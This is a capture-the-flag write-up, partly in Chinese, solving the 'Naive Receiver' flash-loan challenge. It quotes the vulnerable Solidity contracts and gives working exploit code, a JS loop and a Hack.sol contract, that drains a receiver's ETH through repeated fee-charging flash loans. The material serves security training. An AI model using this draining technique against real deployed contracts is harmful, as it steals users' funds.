1. issue
There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.
A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.
Take all ETH out of the user’s contract. If possible, in a single transaction.
简单来说,就是要将贷款人手中的钱变成 0
。
题目链接
2. analysing
2.1 FlashLoanReceiver.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| function onFlashLoan( address, address token, uint256 amount, uint256 fee, bytes calldata ) external returns (bytes32) { assembly { // gas savings if iszero(eq(sload(pool.slot), caller())) { mstore(0x00, 0x48f5c3ed) revert(0x1c, 0x04) } } if (token != ETH) revert UnsupportedCurrency(); uint256 amountToBeRepaid; // 计算带偿还金额 unchecked { amountToBeRepaid = amount + fee; }
_executeActionDuringFlashLoan();
// Return funds to pool ==》 向借贷池还钱 SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);
return keccak256("ERC3156FlashBorrower.onFlashLoan"); }
|
解读:
贷款人还款的操作,还款 = 贷款数目 + 手续费
2.2 NaiveReceiverLenderPool.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| /** 闪电贷函数 */ function flashLoan( IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data ) external returns (bool) { // receiver 的 ETH 相对应 if (token != ETH) revert UnsupportedCurrency(); // 当前合约的 balance uint256 balanceBefore = address(this).balance;
// 向 receiver 转 amount 数目的金额 // Transfer ETH and handle control to receiver SafeTransferLib.safeTransferETH(address(receiver), amount);
if(receiver.onFlashLoan( msg.sender, ETH, amount, FIXED_FEE, data ) != CALLBACK_SUCCESS) { revert CallbackFailed(); }
if (address(this).balance < balanceBefore + FIXED_FEE) revert RepayFailed();
return true; }
|
解读:
借贷池 闪电贷函数,贷款和还款在同一笔交易中,保证 贷款人还款之后的金额大于未贷款的金额。
3. solving
易知,每一笔贷款都需要缴纳 1ether的手续费,而用户只有 10ether,按理来说只要进行十次借贷操作就可以将用户手中的10个ether花光。如下:
1 2 3 4 5 6 7
| it('Execution', async function () { let ETH = await pool.ETH(); for (let i = 0; i < 10; i++) { await pool.flashLoan(receiver.address, ETH, 0, "0x"); } });
|
这样,的结果也是正确的

但是,题目要求在一笔交易中完成,那就很简单了,将这10次调用放在一个合约中即可。
Hack.sol
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
import "./FlashLoanReceiver.sol"; import "./NaiveReceiverLenderPool.sol";
contract Hack {
address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; function attack(address payable _pool, address payable _receiver) external { for (uint256 i = 0; i < 10; i++) { NaiveReceiverLenderPool(_pool).flashLoan( IERC3156FlashBorrower(_receiver), ETH, 0 ether, "" ); } } }
|
naive-receiver.challenge.js
1 2 3 4 5 6
| it('Execution', async function () { const AttractContract = await ethers.getContractFactory('Hack', player); const attracter = await AttractContract.deploy(); await attracter.attack(pool.address, receiver.address); });
|
运行结果:

解题成功。